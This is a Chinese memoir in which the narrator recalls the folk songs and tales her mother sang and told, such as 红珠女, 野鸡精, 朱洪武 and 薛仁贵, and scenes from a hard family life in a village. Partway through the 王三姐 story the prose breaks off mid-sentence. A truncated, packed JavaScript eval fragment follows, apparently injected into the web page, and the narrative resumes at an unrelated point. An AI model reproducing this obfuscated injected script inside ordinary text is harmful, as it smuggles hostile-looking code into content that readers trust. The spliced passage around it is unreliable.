“正吧月里个小蚕(探)妹儿啊,又到正月正。我带着你个小表妹妹儿,又去逛花灯。逛灯是假的呀,妹呀,试试你的心呐,咿呼呀呼嘿。二月里个小蚕(探)妹儿又到龙抬头,我带着我的小表妹妹,又去逛高楼。高楼实在高啊,妹呀,你扶着我的腰呐,咿呼呀呼嘿。三月里个小蚕(探)妹儿又到三月三,我带我的小表妹妹儿,又去下江南。江南有灯船呐,妹呀,我把心来担呐,咿呼呀呼喂。四月里个小蚕(探)妹又到四月八。我带着我的小表妹妹,又去买绫罗纱。裁缝都到齐呀,妹呀,做好新裤褂呀,咿呼呀呼嘿。” “妈再给你唱个《绣花灯》哈!”我妈妈说完,又挑起她的绣花针扬声唱起来。 “正月呀里来正上月儿正,于二姐在绣房里绣呀花灯。打开为奴的描金柜呀,取出来五彩绒,闲来无事儿地绣花灯。嗯啊依嗨哟,嗨哟,表一表针线呀精精一明工啦依嗨哟嗨哟。花灯呀,上绣呀,是五位老先生:刘伯温修下了南北二京,能掐会算的苗广义呀,徐茂公,有神通,斩将封神的姜太公,诸葛亮烧战船借过东风啦依嗨哟嗨哟。” 但是我对这几个欢快的唱儿并不喜欢。我说: “妈,我想听《大辫子甩三甩》。你唱《大辫子甩三甩》给我听。” “行!”我妈妈说,“妈唱给你听。” “大辫子甩三甩呀啊,甩到了大门外呀啊,郎呀郎呀大了辫子要甩开呀啊。 小郎一狠心呀啊,参加了东北军呀啊,撇下小为奴一世靠何人呀啊。 机枪咔咔响呀啊,小为奴往外望呀啊,望来望去望不到我的郎呀啊。” 我听着妈妈的歌,扶着门框。痴痴地听,痴痴地想。 “妈!你唱《李玉兰迈大步》。” “李玉兰你个儿,迈就大步,走进绣儿房,进绣房,见贤妻,倒落在牙床上。 一更里来,月亮又东升,见丈夫长叹气,满脸愁容。你有了何事情,还不对小为奴细告诉,莫非是俺小为奴惹你把气生。 二老爹娘七路拐心,叫我去当八路军,有心不去当八路,对不住那些子人。 二更里来,月亮照正东,你要去当八路,小为奴也同意。提起来这事情,小奴心里也高兴,你要是当八路,咱全家多光荣。 叫一声我的贤妻细听端详,当八路本为的,为的是国家。你思思,我想想,堂前没有戴孝的郎,到后来,没有儿,别怨你的郎。 三更里来,月亮照正南,咱二人不抗战,有儿也枉然。小为奴今年年长一十九,再过上三五年,欢乐在后头。 你说这话是叫我走,一点的留意也没有,我不如去十年,一去不回头。 四更里来,月亮又偏西,尊一声奴的丈夫,不要生气。今年抗战是第四期,倒不如你仨五月,请假到家里。 叫一声,我的贤妻,实话告诉你,我要去当八路,舍也舍不得你。 你在家恋贤妻,不能抗战,挂家里,男子汉上说这话不怕羞耻。 五更里来,天大明,提起来当八路,咱全家多光荣,你抗战也光荣,光荣牌子挂门庭,全庄上老和少,人人都知情。 李玉兰迈大步,走出了绣房,高堂上辞别了二老爹娘。叫一声我的贤妻,不要你送,再送上三五里,我还是得走。 送郎送到七里坡,四下里无人,她对郎说。你抗战我生产,家里的事情不要你管。到后来你胜利了,咱全家得团圆。” 这些歌儿,因为经常听妈妈唱,我很小的时候,就已经耳熟能详。我想不到歌里的人物到底是什么样儿的,也许那女子应该是我妈妈那样的,辫着两个小辫儿,水红的上衣,白皙、清秀的脸;男子应该是我爸爸那样的,绿色的中山装,脖颈里露出白色线织的的衬衣的领子,清爽、斯文、沉默不语。 是的,那时候,我妈妈经常给我唱唱儿,那时候,我妈妈就是这样一个接一个地给我唱。我妈妈唱歌的声音很响,她就是那样自顾自地放开歌喉唱,寂静的小院儿只有我们娘俩儿。也只有唱唱儿,才能打发这日长如小年的困苦的时光。 那时候,我只觉得我妈妈是在唱歌给我听,我只知道我妈妈唱唱儿好听。我没有想过,我妈妈一个人带着幼小的孩子,她的内心里有没有觉得孤独苦闷。她其实不只是为了唱给我听,她的唱儿里,也有不为我所知的她的心情。 有时候,我自己也唱,我唱我妈妈教我的《小五更》: 一更小里来,并上银灯,梁山伯在座上,念上《诗经》。泪水掉在书页上,想起了兄弟祝九红。在高山一里把书读,兄弟们一起拜弟兄,念完了《诗经》进边界,同床的夫妻不得相逢。同床的夫妻不得相逢。 二更小里来,明了天,想起了九妹呀好上心酸…… 我妈妈不仅给我唱歌,还给我讲这歌儿里的故事。梁祝两家向来交好。两家的男人为八拜之交,两家的夫人几乎同时怀了身孕。两家约定,若是同生男孩儿,则叫他们一起读书习字,若是同生女孩,就叫她们一起在绣楼做些针织女工。若是生一男一女,那就让他们结为夫妻。后来,祝家生了女孩儿,梁家生了男孩儿。梁家家道中落,祝家反悔,不想与梁家结亲。就让祝英台女扮男装,与梁山伯一起上学。二人同窗读书,师娘上茅房,听出有女子的声音,窥知英台是女郎。 师娘为防梁祝私定终身有辱师门,给梁山伯换了牛魂,让他不解风情。梁山伯虽与英台同床而眠,却不领会祝英台的情意。师娘在祝英台跟梁山伯的床当中放了一块砖头,立此为界。半夜,祝英台让梁兄伸腿儿来,意图踢倒界砖。梁山伯因为被换了牛魂,一直老老实实,谨遵师娘教诲,不敢越雷池一步。 待英台返回娘家,梁山伯意识清醒,前去探望祝英台,英台已恢复女儿装,待嫁马文才。二人隔帘相望,祝英台数落梁山伯,如泣如诉,梁山伯痛悔交加,腹痛而死。祝英台出嫁时,一身白衣上轿。轿子路过梁山伯的坟墓,祝英台推说“新人拜新坟”,前去梁山伯坟前哭拜。梁山伯的坟墓轰然打开,祝英台纵身跳下。马文才拉扯不及,扯断了一角英台的孝衣。 所以,那翩翩双飞的白蝴蝶,就是梁山伯和祝英台。其中,有一只蝴蝶的翅膀上多出了一截儿来,那就是祝英台被马文才扯坏的衣裳。 小鲁村经常有戏班子来演戏。常常是在晚上,大人抱着我去看戏。戏里唱得是什么,我看不太懂。在村子里简陋的灯光下,一个盛装的女人被压在山底下,隔着很远的看戏的人群,她嘴里咿咿呀呀地悲苦地唱着。我妈妈看得直掉眼泪。我不知道她是谁。我妈妈说,那个女人是三圣母,她是沉香的母亲。她因为思凡,嫁给了沉香的父亲,被她的大哥二郎神给压在了华山底下。她的儿子沉香长大了劈开大山来搭救她。这部戏就是《沉香劈山救母》。 我能看得懂的戏是《老少光棍□□记》,这是我自己取的名字,我也不记得它到底是叫什么名字了,我也不去问我妈了,因为她也老了,她也老早就不记得了吧。戏的内容我还记得:一个年纪大的老头儿,叫马孤驴。马孤驴是个大花脸,长得丑陋不堪。他年老无妻,就去人家闹灾的地方买一个妻。人家那里的百姓遇到了饥荒,快要活不下去,只好自己卖自己。怎么自己卖自己呢,就是自己准备一领破席,钻到里头,谁出的钱多就是谁的。马孤驴使出了十两银子,买了一领破席里头的人,打开一看,是个大姑娘,可把他高兴坏了。 他唱着:“马孤驴,笑嘻嘻,十两纹银买了个妻,明天打马回山西!” 这边厢,一个年轻英俊的后生却是愁眉苦脸的,为什么呢?因为他也买了一个妻,可是他的妻是个年迈不堪、相貌丑陋的老嫲嫲。那老太太能有多丑呢,她的脸上是:“大疤瘌,套小疤瘌,疤瘌里头是左疤瘌。” 马孤驴跟那个年轻的后生恰好同路。到了晚上,该吃饭了。年轻的姑娘和后生都吃不下饭去。唯独老头子和那个老嫲嫲吃地开心异常。等那个老嫲嫲吃撑了,要去上茅房的时候。她看到了坐在那儿哭泣的年轻的姑娘。她便问那姑娘是怎么回事儿。姑娘哭着把实情告诉了她,说她不幸被一个老头子给买了。老嫲嫲对那姑娘很是同情,就主动提出来要跟姑娘换一换老公。二人趁着夜色到了对方的车里。 天亮的时候,年轻的后生发现自己车里的老嫲嫲变成了年轻貌美的大姑娘,自是十分欢喜。而那个马孤驴发现自己车里的大姑娘变成了老嫲嫲,自然恼怒不堪。老嫲嫲就劝说老头子,让他成全人家年轻的小两口儿,马孤驴在老嫲嫲的劝说下终于应允了。年轻的小两口喜结良缘,双双过来跟老头子、老太太磕头谢恩。 我被大人抱着看戏。戏台子上的男男女女咿咿呀呀,走来走去。年轻的后生搽了白粉,抹了红胭脂,唱完了戏,笑嘻嘻地跑到后台来解手。等他解完手,台上有人叫他了。 “哎!”他笑嘻嘻地在人群里答应一下,再回到戏台子上继续唱他的戏。 4.妈妈的故事:《红珠女》 妈妈不仅会唱歌,更是会讲故事。这些故事,大都是在南乡,我妈妈讲给我听的。那时候,天井里只有我和妈妈。母女俩儿长坐无聊,又容易瞌睡。为了解闷儿,我妈妈就给我讲故事。那时候,我们管讲故事不叫讲故事,而是叫“拉呱”。 我犯困了,就跟我妈妈说:“妈妈,我迷困了,你给我拉个呱儿吧。” 我妈妈就说:“行!我给你讲个《红珠女》。” 于是,我妈妈手里拿着针线活儿,坐在门西旁,我端个小板凳坐在门东旁,开始听我妈妈给我“拉呱儿”。 《红珠女》,说的是一个穷家少年赵海自小失去双亲,跟着哥嫂度日。嫂嫂嫌弃赵海,常常不给他饭吃。赵海无奈,只能去河边打捞鱼虾。这一日,赵海拿着笊篱、竹篮来到河边,却见鹬蚌相斗,分外激烈,而河蚌明显处于下风。赵海心生恻隐,决定搭救河蚌。奈何身边没有可用的家伙什儿,情急之下,他将捞鱼虾的笊篱扔下河去,想逼走鹬鸟,可是一击不中。赵海无奈,只好再把手里的竹篮扔下河去。河蚌获得喘息之机,得以从鹬鸟口下逃生。但已是伤痕累累。赵海看着气息奄奄的河蚌,心生怜悯,就将河蚌带回家,放在水缸里养着。他自己因为搭救河蚌,落得两手空空,饥肠辘辘。 这一天赵海出去劳作,等他回到家,只见饭桌上早已摆好了热气腾腾的饭菜。赵海以为是哪位行好的婶子大娘给他送来的,赶紧狼吞虎咽,一顿饱餐。饭后,赵海问问哥嫂和左邻右舍的婶子大娘,才知没有一人给他送饭。 这样的事情一连持续了好多天,赵海自是纳罕。于是他决定假装出门打鱼,实际上躲在家里,想一探究竟。他将自己裹在一领苇席中。快到晌午的时候,只见水缸里的河蚌,幻化成一个俊俏的姑娘,开始忙着给他做饭。姑娘做完饭以后,又想悄悄钻到水缸里去。赵海从背后一把把她抱住,让她不要再回到水缸里去了。河蚌姑娘也听从他的意见,不再回到那个丑陋的蚌壳里,而是与赵海结为夫妻。 河蚌姑娘与赵海细说原委。原来,河蚌姑娘已修炼成蚌仙,有红珠一枚。老鹬鸟要抢夺红珠,遂来偷袭。蚌仙负伤,幸得赵海相救。她感激赵海恩德,于是前来报恩。 红珠女与赵海,每天情投意合,好吃好喝,过着快乐的生活。赵海的嫂子心生嫉妒。这一天,鹬鸟幻化成老道,来到赵海哥嫂家,告知赵海嫂子,红珠女是妖精,让她用绣花针穿上红线前去捉拿。赵海嫂子听了老道的话,赶紧去找红珠女。红珠女正在忙针线活儿,见赵海嫂子到来,忙起身迎接。 红珠女说:“嫂子难得到俺家来了,嫂子恁坐。嫂子恁来有什么事儿吗?” 嫂子说:“我来,是想问问妹妹,有没有新制的鞋样子。” 红珠女说:“鞋样子倒是有。嫂子稍等,我去屋里间给嫂子找找”。 红珠女折身回屋,去给嫂子找鞋样子。赵海嫂子瞅准时机,用穿好红线的绣花针,朝着红珠女后背,狠狠刺去。红珠女应声倒地,化为一个巨大的河蚌。赵海的哥哥赶来,一手拿着锤子,一手拿着錾,要去劈开红珠女。 赵海嫂子吆喝着:“快快快!快点把她劈开!咱熬一锅河蚌汤喝喝!” 危急之际,赵海赶来,一把抱住河蚌,死死护住,跪求哥嫂手下留情。赵海哥哥不答应,非要来抢。情急之下,赵海一把把河蚌扔到床上。 赵海嫂子操持赵海哥哥:“在床上呢,还不快去劈!” 赵海正担忧妻子性命。此时,天降响雷,“咔嚓”一声,唤醒了红珠女。 赵海哥哥拿着锤子和錾往屋里窜,红珠女手提宝剑迎头赶来。 “狗男女!俺跟恁无冤无仇,恁却要害俺!恁对俺无情,休怪俺对恁无意!”红珠女圆睁了杏眼,手提宝剑照赵海哥哥头上砍去。赵海又赶忙来为哥嫂求情。红珠女看在赵海的面上。饶了赵海哥哥嫂子狗命。 我听了我妈妈的故事,总是有很多疑问,总会追着我妈妈问个不停。 “妈,红珠女变的河蚌有多大?” “有锅盖亭恁么大。” “妈,红珠女恁么有本事,她怎么被赵海的嫂子给拿针刺了的?” “她趁她不注意呗。神仙也有打盹的时候哎。” “妈!赵海的哥哥嫂子以后还来找事儿吧?” “哪还敢啊,不来找事儿了。” “妈,那雷怎么把红珠女给聒醒了的?” “说书拉呱的,就是这样拉的,我也不知道!别问我!打破砂锅问到底!” 5.妈妈的故事:《野鸡精》 我妈妈最开始给我讲野鸡精的故事也是在南乡。这些呱儿,我听我妈妈讲了一遍又一遍,可是总也听不厌。有时候,我让妈妈给我讲一个新的呱儿,有时候,我自己点一个听过的呱儿,我妈妈就边做针线边给我“拉呱儿”。 说是一个绣楼上的小姐,长得如花似玉,眉清目秀,她每天在绣房里,丫鬟伴着她,做做针线。有一天,半夜三更的时候,来了一个英俊的男子来跟她幽会。此事瞒着堂上母亲,只有丫鬟一人知道。可这男子总是夜半来,天明去。而且,每当快天明的时候,他就像有要事在身似的,急匆匆辞别而去。 小姐遭此男缠身,一天天地憔悴,直到面黄肌瘦,快没了人形。母亲无奈,只好请人来给女儿看病。直到此时,小姐才跟母亲吐了实情。她说每逢半夜三更,就有一个男子来跟她厮混。这男子行为诡异,夜半来,天明去。也从不跟她说姓甚名谁,家住哪里。来人问母亲,家中可有什么异常。母亲说,并无什么异常,就是每天晚上赶鸡归窝的时候,少了一只老公鸡。那人悄悄告诉母亲,等男子下次赴约之时,让小姐悄悄留下他的衣裳,等他临走的时候,用穿着红线的绣花针,偷偷地插在他的帽子上,看看他去到哪里,就知道他是什么来历。小姐依计而行。 当晚,男子再来赴约时,小姐悄悄藏起了他的衣裳。第二天快天亮的时候,男子又急匆匆要走,可是没有衣裳。男子催促再三,小姐就是不给。时辰已到,男子无奈,只好光着腚急匆匆离开。 天亮了,母亲打开鸡窝,往外放鸡时,有一只公鸡躲在鸡窝里就是不出来,母亲费了好大的劲儿才把它赶出来。这才发现,这只公鸡全身光溜溜的,鸡冠子上有一根红线。 此时,小姐已有身孕。母亲把公鸡杀了炖好,让丫鬟端到楼上给小姐吃。小姐于心不忍,揭开房顶上的一片瓦,把这碗公鸡肉封存起来。不久,小姐生下儿子,因为小姐尚未婚配,生下私生子实在丢门败户。小姐的母亲便让此儿称小姐为姑母,称小姐的哥哥嫂嫂为父母亲。 多年以后,小姐的儿子考取状元,要在家门前竖旗杆。状元自报身世,说起自己不明就里的“父母”,可是,旗杆就是竖不起来。聪明的状元便觉其中有因,于是回到家,长跪在姑母跟前,请求姑母告诉他自己真实的身世。姑母拒绝再三,不得已,含泪告诉状元,自己就是他的生身母亲,而他的父亲,是一个公鸡精。 小姐让状元郎揭开房瓦,找到他生身父亲的骨殖。时隔多年,那碗公鸡肉还没有腐坏。状元郎清楚了自己的身世,安葬了父亲,再次竖旗,这次,旗杆顺利地竖了起来。 “说书拉呱,那些邪魔鬼祟跟人生的孩子都聪明。”我妈妈说,“白素贞跟许仙生的孩子也是状元。” 这样的故事在我儿时的内心里泛起过很多涟漪,我对小姐的遭遇说不上是同情还是憧憬。小姐所遇非人,她深爱的夫婿居然是一个鸡精。这是笑话,还是悲剧。小姐的母亲杀死了鸡精,小姐虽然被骗,但是并不忍心食其肉皮。或许,他们之间也存在过真正的爱情吧,何况这只鸡精还为爱情付出了生命的代价。鸡精死了,小姐在此后的梦寐中是否还会梦见他俊朗的身影?我对鸡精并没有彻底的厌弃,或是完全的嗤之以鼻。我甚至在茫然的寻寻觅觅的童年里,也梦想着有一天,会有这样一个神秘的夫婿。这样,我的童年就不会那么茫然和孤寂。 不仅公鸡会成精,银银菜也会成精,也去缠绕人家良家女子。人家问它家住哪里,银银菜说:“我又姓银,又姓菜,家住恁家大门外。”人家大门外恰好生着一棵银银菜。人家就按图索骥,薅掉那棵银银菜,把它斩草除根。银银菜就是苋菜。它就生在人家的墙里墙外。那时候还没有人家种银银菜,那时候的银银菜还是绿色的,我没有见过红色的银银菜。 绿色的银银菜像是大公鸡的尾巴,叶子更香更厚实。它还在地上亭亭玉立的时候,我路过它的身旁,似乎已经能够闻到它在糊糊碗里散发出来的味道。烧糊糊的时候。掐一把银银菜,洗洗下锅。没有菜了,也可以拿它炒菜吃。那些棵银银菜是可以循环利用的。掐了它的叶子,它还会再长出来。因此,凡是我妈妈掐过的银银菜,她都叮嘱我不能动它,要把它保护起来。我家常吃银银菜,也吃婆婆蒿。这些菜,在我的记忆里,不仅是一种野草,还是一种亲切的味道。 6.妈妈的故事:《朱洪武》 我妈妈在我很小的时候就给我讲朱洪武的故事。说是一个员外家的臭水沟里出现了一条鱼,员外听高人指点,他家的儿媳若吃了此鱼,所诞下的孙子必定做朝廷里的高官,但是吃的人不能事先知道这是一条神鱼,知道了就不灵验了。 老员外叫厨子精心烹制了此鱼,送给大儿媳吃。大儿媳养尊处优,看不上臭水沟里的鱼,当面拒绝。员外再让人将鱼端给二儿媳,二儿媳聪明乖巧,将鱼接了下来。老员外一听二儿媳接下了鱼,心中暗喜。谁知聪明乖巧的二儿媳对此鱼也是不屑一顾,她悄悄让丫鬟把鱼端给门外的要饭的女人吃。这个要饭的女人就是朱洪武的娘。她吃了此鱼以后,便怀了朱洪武。 这一日,朱洪武的娘觉得自己要生了,可是要饭的花子居无定所,到哪里去生产呢?附近恰好有一座山神庙,朱洪武的娘就只好去那里生产。 当时电闪雷鸣,天降大雨。一文一武两个高官路过此地,前来避雨。两个避雨的官员,看到朱洪武的娘正在生产,不便上前,就让丫鬟前去帮忙接生,而他们则在门外避雨。两个高官,一个门旁儿站着一个,守护在山神庙前。 他们看到朱洪武的娘生完孩子,就对她说:“这个小孩以后福分不浅啊,他出生的时候,我们两个给他保驾,他将来至少也是个二品大员啊!” 朱洪武的娘没有见识,哪知道官员品级,她憨厚地说:“俺是穷要饭的,哪里指望能当二品大官啊,能当个一品就不错了”!朱洪武的娘金口玉言,朱洪武后来果然是尊贵至极! 当朝皇帝找高人掐算,有一个改朝换代的真龙天子已经诞生。皇帝就让这个高人再算算,看看这个孩子现在在哪里。高人掐指一算,满有把握地说:“明天午时,有个头顶青雨伞,身穿八卦衣,骑着白龙马的孩子,从河沿边儿上经过!”皇帝便派人前去捉拿。 第二天,几个御林军守在河沿边儿,一上午无人经过。天将午时,一个几岁的孩童,浑身□□,头顶一片荷叶,□□一根白色的麻杆儿,学着马奔跑的样子,跑了过去。御林军一心要等那个骑白龙马的孩子,总也没有等到,天黑了,他们两手空空地回去了!那高人问:“有没有捉住那个孩子?” 那些御林军说:“没有,今天午时,只有一个□□的孩子骑着根麻杆儿从此路过,除此之外,绝无他人!” 那高人一拍大腿,叹道:“这个娃娃正是那个真龙天子!” 就是因为这样的故事,我小时候天真的以为,一个小孩儿,小时候吃过的苦越多,长大了就会越有出息。就像那些故事里说的那样,那些穷书生,一开始总是会穷困潦倒,到最后必然是高中状元,金榜题名。长大以后,我才知道,贫寒之家的孩子想要成才,实在是太难太难了。 7.妈妈的故事:《王三姐与薛平贵》 我妈妈爱听戏,她把听过的戏文都讲给我听。王三姐住寒窑的故事,就是她听戏听来的。宰相之女王三姐抛绣球选婿,绣球落到了要饭的花郎薛平贵手里。王三姐的爹爹看不起要饭的花郎,让她放弃薛平贵:“给他点银钱打发他走吧,咱重抛绣球,另择佳婿!”哪知王三姐信守抛绣球的承诺,绣球所定,皆是天命:“抛到鸡随鸡,抛到狗随狗,抛到石头瓦块搂三年”,绝不更改。 三姐的老父亲觉得宰相之女嫁给要饭的花郎丢门败户,气急之下,要与三姐断绝父女关系。王三姐毫不妥协,当场与父亲三击掌,断了父女关系,从此以后,“不做娘娘,不回相府娘家”,“你看那薛平贵花郎模样,到以后得第了,比你还强”! 王三姐的父亲跟王三姐的两个姐夫苏龙、魏虎出了毒计,让薛平贵征西,想让他有去无回。王三姐跟爹爹反目成仇,搬出相府,“不爱你的丞相府,酒海肉山”。她自己独守寒窑,剜野菜为生,苦等薛平贵归来。 “王三姐到湖泊,野菜长得多,剜下一铲子,就有好几棵。甩甩根上的土,就往嘴里搁。咽也咽不下去,苦也苦死我,丞相之女吃野菜……” 我妈妈边讲边唱。 王三姐本人相貌如何,我不知道。王三姐的性格,那等刚强、决绝,跟我妈妈一个样儿。王三姐住的寒窑是什么样的,我不知道,是不是连我家那间土墙的小屋都不如呢。我跟妈妈到湖里剜菜,见过很多破落的小屋,王三姐大概住的就是这样的寒窑吧。王三姐用什么铲子剜菜的?那铲子跟我妈妈拿的铲子应该差不多吧。王三姐剜菜,剜的是什么菜,是婆婆蒿,还是银银菜?王三姐的歌儿,从我妈妈嘴里唱出来,像是妈妈把她对爸爸的一片痴心和忠贞都给唱出来。 王三姐思夫心切,见到大雁,就写一封书信让大雁传书,捎给薛平贵。她心地善良,写好了书信,不知道该系在大雁身上哪个地方。系在脖子里,怕耽误它吃食,系在翅膀上,又怕它飞不动,最后系在大雁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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真想留在童年,童年的故事总是说不完。真想留在童年,跟那时的父母、弟弟妹妹在一块儿,永远不分开。有时候,我努力地回忆小时候妈妈讲的故事,可是往事总是如云烟般飘散,让我抓不住它的一点碎片。我很想让妈妈有空给我再讲一遍,可是时过境迁,母亲与我都已经不复当年。 我想跟母亲一起回到曾经的家里去。在那里,我们一家子,好好地在一起。我也不用长大,父母也不会老去,我们就这样日复一日地重复这样清苦的光阴,哪怕长久地分离,哪怕隔着山海的距离,哪怕为了一次相聚要栉风沐雨。我们就这样在一起,穿着绿色中山装的父亲,穿着水红色的确凉褂子的母亲,我,弟弟,妹妹,三个无知的小姐弟,我们就这样在一起。 可是,命运不可以改变,故乡难以回首,我也再难以回到小时候。我知道艰难的环境偷走了我的母亲,我的曾经善良美好、笃定自信的母亲。可我却无能为力。我怀念着曾经那个与她的夫君志同道合、同甘苦共患难的母亲。我知道她曾经有多美,有多么一往情深。洗尽世俗的尘埃的沾染,她依然是我美人如玉的母亲。 小时候总觉得自己是个大人,长大后总觉得自己还是个孩子。我常常梦见小时候,梦见我们的家。梦团圆而不得团圆,父母何尝在我的身边?我去何处寻我的爹娘、我的弟弟妹妹、我的极少团圆的家?还好,我还有这几首歌,我还有这几个故事。他们,我们,全在歌儿里、故事里了。 8.妈妈的故事:《薛仁贵》 薛仁贵是一员虎将,跟妻子恩恩爱爱。薛仁贵要出征,夫妻二人依依分别,恋恋不舍。 妻子刘迎春有孕,让薛仁贵起个名字,薛仁贵抬头看到一座高山,“手指着高山名字起,一个顶山,一个金莲”。妻子送走薛仁贵,回到家,转身关上大门,门外,正是“雪霜盖地好冷天,刘迎春这才把家来还”。 我听着妈妈的故事,从来没有想过薛仁贵的府邸是怎样的,我只知道,他夫妻分别的院落应该是我家那样的,他的妻子应该是我妈妈那样的,她妻子送别他以后,转身关上的大门,也应该是我家那样的。 薛仁贵多年在外征战,妻子在家生下了薛顶山。 薛仁贵是白虎星转世,而他的儿子薛丁山是大鹏金鹰下凡,父子二人命星相克,不能相见。 二十年后,薛仁贵回家探亲,快到家时,在河沿上看到一个贫苦的少年在射雁,这个孩子就是他的儿子薛顶山。薛仁贵让他射领头的大雁,薛顶山说领头的大雁是先锋官,不能射。薛仁贵又让他射尾巴上的大雁,薛顶山说,尾巴上的大雁是都督,不能射。最后,薛顶山射中了中间的大雁。薛仁贵觉得此子必成大器,将来肯定在他之上,于是想害死这个少年。正在此时,一只老虎从高山上下来,把薛顶山驮走了,那是薛顶山的神仙老师幻化的,要带他去高山学艺。也该到薛仁贵跟他儿子薛顶山,父子不能相见,相见必然有一死。 薛仁贵回到家,看到家里床底下有一双男人的大鞋,就质问妻子,这双大鞋是哪个男人的。妻子回答,是他儿子薛顶山的。薛仁贵这才知道二十年过去,儿子已经长大了。他问起儿子的模样,才知道河沿边遇到的射雁的少年,正是自己的儿子。那孩子却被他自己射杀了。夫妻痛哭一场。后来薛顶山学艺回来,代替父亲征战疆场,立下赫赫战功。 我问妈妈,他们不是父子不能相见吗?薛顶山回来,不能见薛仁贵怎么办呢?妈妈恨恨地说:“等薛顶山回来,薛仁贵啊,早该死个老龟孙了!” 这些故事,都是妈妈讲给我听的。妈妈怎么那么有功夫给我讲故事呢?等我长大了才知道,那么漫长的岁月,那么孤寂的院子,我妈妈不给我们讲故事,还能做些什么呢?那时候,她有做不完的针线活儿,也有讲不完的故事。真是多亏了那些子故事啊,它不仅陪伴了我的童年,更是陪伴了妈妈。那些一个人带着孩子漂泊异乡的日子,那些独自守着空荡荡的黄土小屋的日子,那些缺吃少喝的日子,她是怎么熬过来的? 9.家军啊!家军!家军—— 我弟弟降生在人家麦场里的场院屋里,那个麦场就在小鲁村的村子东北角儿。那时我爸爸恰好也在。他去请了接生婆。我弟弟出生以后的当天夜里,我们就在人家的场院屋里住下,陪伴我妈妈和我弟弟。十一月的天气,一间小草屋里。金灿灿的麦秸为席,麦草上是一床红红的棉被,还有笑呵呵的爸爸,我们一家四口,好不温暖。 我妈妈生完孩子回到我们的小屋坐月子。好心的大娘、大爷因为同情三姐和家军,给我们送去了白面、红糖和鸡蛋。我妈妈是个知恩图报的人,人家大爷、大娘对她的好,她都一一记下,等我爸爸从山东来了,她总是让我爸爸去人家家里坐一会儿,跟人家说说话儿。山东有什么土特产,我妈妈也让我爸爸去小鲁村的时候带着,分给那些对她好的好姊妹儿、好娘们儿。 夏天,起蒜的时候,我弟弟才几个月大,小小的,躺在我妈妈怀里。老杜奶奶家起蒜了,一家子进进出出,忙忙碌碌。我妈妈不去帮忙吧,不好意思,去帮忙吧,怀里的孩子又没有人照顾。 可是,我们毕竟是住在人家家里。我妈妈想一想,就狠下心,放下我弟弟,硬着头皮去帮老杜奶奶家挖蒜。我弟弟一个人睡在小屋里,我妈妈拿着小铲子帮老杜家挖蒜,心里也是记挂着我弟弟。等她干完活儿回家,老远儿就听见我弟弟的哭喊。一个小娃娃,妈妈不在身边,他太害怕,哭地太久了,他哭地已经变了声儿了。 “啊哼哼哼哼!啊哼哼哼哼!”我弟弟躺在小床上哭个不停。 我妈妈赶紧抱起我弟弟,把他抱在怀里哄着:“嗷!鸿雁啊!妈妈回来了!乖孩子!拜哭了!嗷嗷!” 老杜爷爷就在屋外溜达,也不去跟我妈妈说一下。 好在我们都在长大。襁褓里的弟弟也一天天地长大了。我最高兴的事就是跟着爸爸去南乡看弟弟了。 爸爸的交通工具,是一辆弯把儿的大金鹿的洋车子,那是最老式的洋车子了。从山东到南乡小鲁村,有一百多里地,骑车要骑整整一天。 我爸爸一大早带着我,再带上一筐子大山芋去兰陵集上卖。吃早饭的时候,他买一份热豆腐,蘸上红辣椒,笑呵呵地看着我吃。我吃完以后,就坐在爸爸自行车前头,跟着爸爸从兰陵、底阁,出了山东,再到南乡小鲁村,一路上见了不少风景。 我去了南乡,就抱起弟弟,围着葛梅的新房子转着圈儿跑,我妈妈又开心又担心地跟着看着、喊着:“大省!你跑慢点儿哈!别摔着恁小弟!” 那时候还没有妹妹,弟弟也很小。有一次,爸爸妈妈忙着做饭,我在天井里玩。忽然,我听见妈妈说:“家军你看,鸿雁在吃屎来!”我们一看,我弟弟正一手扶着桌子站着,一手抓自己刚拉的稀屎吃。 我爸爸回山东的时候,天还是黑咕隆咚的,他推着他的洋车子出发了。洋车子后架子上,是两化肥袋子我妈妈给他准备带回家的粮食。印象中,我爸爸很少从山东给我妈妈带过粮食,倒是我妈妈,把她捡来的粮食,都给我爸爸留着。 常常是爸爸前脚走了,我妈妈才发现他有什么东西忘了带,或是她有什么话忘记了交代他。她就驮着我弟弟,一声声喊着我爸爸的名字,在黑夜里追过去,寻过去。我妈妈本来就是个大嗓子,在漆黑的夜里,她的声音是那么响,那么亮,像是生离死别似的:“家军啊!家军!家军——” 我一个人躺在铺上,在迷迷糊糊中听着她的声音,心里也跟着焦灼起来。油灯泛着黄黄的光晕,那光晕越来越大,大的仿佛可以笼罩下我们的小屋。我的耳朵里飘过“嗡嗡”的黑夜的声音,那声音无休止,仿佛我是置身在宇宙里头。我一点点熬着,等妈妈回来。 屋外,不远处,谁家的狗“汪汪”地,一阵一阵的狂叫着,我的心跟着一阵阵地跌落、蜷缩。爸爸在哪里,妈妈在哪里?那一声声的夜半的狗叫,让我的心一点点走失,百爪舞挠。 暗夜里,妈妈背着弟弟追着、喊着爸爸。我不知道爸爸到哪里了,我妈妈能追地上他吗?我真为我妈妈担心啊。我在屋里听着我妈妈的声音,知道她正背着我弟弟朝大堰赶去。暗夜里,她在追我爸爸。我妈妈能追得上我爸爸吗?她一定是有要紧的话要跟他说,她可一定要追上他啊。 好在,每次妈妈都能追地上爸爸。 “恁爸爸都走到大堰上了!”妈妈回来跟我说。几乎是每次,我妈妈都要追我爸爸。她为什么不事先把话都跟我爸爸说了呢?她为什么非要这样在黑夜里追着他喊呢? 有一次,爸爸来南乡的时候,要去港口干活儿,给人家的大船装炭,妈妈让他把我也带上。爸爸带着我来到港口边儿上,就去干活了,留下我一个人站在运河边上玩。不,不是玩,是纯粹地站着、转悠着等他。我眼睁睁地看着我爸爸好端端地从高高地坡岸上走下去了,然后就再也看不到他了。人家大船主的孩子从容地走在长长的甲板上,从这头走到那头。我也想去甲板上走走,但是我每次走上几步,就得退回来,我不敢再往前走。甲板又窄又长,站上去摇摇晃晃,脚下的运河水,不声不响。 